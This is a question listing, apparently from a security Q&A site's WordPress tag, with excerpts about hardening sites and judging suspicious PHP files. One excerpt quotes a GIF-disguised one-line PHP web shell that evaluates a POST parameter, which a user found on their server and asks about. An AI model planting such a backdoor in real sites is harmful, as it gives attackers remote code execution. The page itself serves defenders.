WordPress is an open source content management system running on PHP and MySQL, and often used as a blog engine.

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21
votes
7answers
1k views

How can I protect a WordPress installation?

How do you go about protecting a default WordPress installation? What checklist do you use, best practices, tips and tricks, etc? Any recommendations on plugins, third-party tools are welcome.
0
votes
2answers
220 views

What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php ...
3
votes
2answers
1k views

How do I run a security check on my WordPress server?

I have a cloud-based server running with CentOS 6.0 and CSF installed. Today I got a message from my host that one of my WordPress installations is hacked and used for phishing. But I don't know how ...
2
votes
0answers
651 views

PHP - Need help to understand injected code [duplicate]

I discovered a lot of requests to a fishy file in a plugin on my Wordpress site. There, I found a long string, a mapping function for each character used in the string, and an excecution of the ...
2
votes
2answers
110 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
1answer
142 views

What is a good method to report security breaches that are being used to actively spam?

I received an email the other day purporting to be from a bank I hadn't even heard of, so I decided to poke around. On some quick investigation, it looks like something has just latched onto some poor ...
1
vote
1answer
3k views

WordPress Hacked - Found a suspicious “class-wp-style-table.php” [closed]

I recently had all of my WordPress accounts on my server hacked. The only suspicious files I found are listed below. These were the only files edited in the last 5 days (June 3, to be specific). ...